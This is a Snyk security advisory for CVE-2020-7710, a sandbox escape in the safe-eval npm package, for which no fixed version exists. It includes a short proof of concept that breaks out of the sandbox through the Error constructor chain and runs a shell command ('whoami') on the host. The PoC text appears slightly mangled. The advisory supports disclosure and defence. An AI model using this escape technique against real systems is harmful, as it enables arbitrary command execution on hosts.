Sandbox Escape Affecting safe-eval package, versions *


Severity

Recommended
0.0
high
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of concept
EPSS
0.77% (82nd percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk IDSNYK-JS-SAFEEVAL-608076
  • published21 Aug 2020
  • disclosed28 Feb 2020
  • creditAnirudh Anand

Introduced: 28 Feb 2020

CVE-2020-7710  (opens in a new tab)
CWE-265  (opens in a new tab)
First added by Snyk

How to fix?

There is no fixed version for safe-eval.

Overview

safe-eval is a Safer version of eval()

Affected versions of this package are vulnerable to Sandbox Escape. It is possible for an attacker to run an arbitrary command on the host machine.

POC by Anirudh Anand (for node 12.13.0)

const safeEval = require('safe-eval');

const theFunction = function() { const bad = new Error(); bad.proto = null; bad.stack = { match(outer) { throw outer.constructor.constructor("return process")().mainModule.require('child_process').execSync('whoami').toString(); } }; return bad; };

const untrusted = (${theFunction})(); console.log(safeEval(untrusted));

References

CVSS Scores

version 3.1